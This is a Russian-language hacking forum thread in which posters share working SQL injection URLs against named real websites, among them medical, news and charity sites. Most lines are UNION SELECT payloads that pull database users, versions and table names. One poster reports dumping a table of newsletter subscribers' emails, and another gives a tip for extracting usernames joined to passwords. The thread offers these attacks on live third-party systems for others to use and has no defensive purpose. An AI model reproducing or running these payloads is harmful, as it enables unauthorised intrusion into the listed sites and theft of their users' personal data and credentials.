Юзай concat(user,char(58),password)
или вместо char(58) ставь 0x3a. Это всего навсего ":" , но так удобнее

__________________
..

в title


байан делетед

первая скула , подбор столбцов не получился ,если кто сможет что нить сделать ,пишите ,90% что стоит префикс у бд.
http://www.green-pik.ru/user_profile.php?id=-7838%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*

__http://www.tvmed.ru/?module=custompage&id=-1+union+select+1,2,user(),4,5,database(),7,8,9,10/*

__http://www.smdoctors.ru/razdel.php?R=-1+union+select+1,user(),3,4,5,6,7,8,9/*

__http://www.lakident.ru/index.php?id=-1+union+select+1,database(),user(),4/*

=)

Моя первая:

Здесь вытянул таблицу с мейлами, тех кто подписался на рассылку:

__http://www.do-posle.ru/new_diz/show.php?id=-1+union+select+1,id,3,4,mail,6,7+from+mail/*

Здесь ничего особенного:

__http://www.psychiatry.ru/library/lib/article.php4?booknumber=6&article_id=-1+union+select+1,2,3,4,5,6/*

http://www.ifbikes.com/news.php?id=-76+union+select+1,2,3,4,5,6,7,8,9,10,11/*

http://www.russianrugby.ru/news.php?Id=-697+union+select+1,2,3,4,5,6/*

http://www.healthsentinel.com/news.php?event=news_print_list_item&id=-1732+union+select+1,2,3,4,5,6,7,8,9,10,11/*

http://www.reusablebags.com/news.php?id=-17+union+select+1,VERSION(),3,4,5,6,7,8,9/*

http://www.sakhalin.environment.ru/news.php?id=-37+union+select+1,2,3,4,5/*

http://www.ihrc.org.uk/show.php?id=-1740+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13/*

http://www.foxreality.com/show.php?id=-4373+union+select+1,table_name,3,4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2 8,29,30,31,32,33+from+INFORMATION_SCHEMA.TABLES/*

http://www.rusbiotech.ru/novice/show.php?id=-1832+UNION+SELECT+1,2,3,4,5,6,7,8,9,10/*

http://www.radioguerrilla.ro/show.php?id=-21+union+select+1,VERSION(),3,4,5,6,7,8,9,10,11/*

http://www.shanson.info/mp3/view_cat2.php?id=-6+union+select+1,2,concat(user(),char(58),database (),char(58),version())/*
с таблицами беда.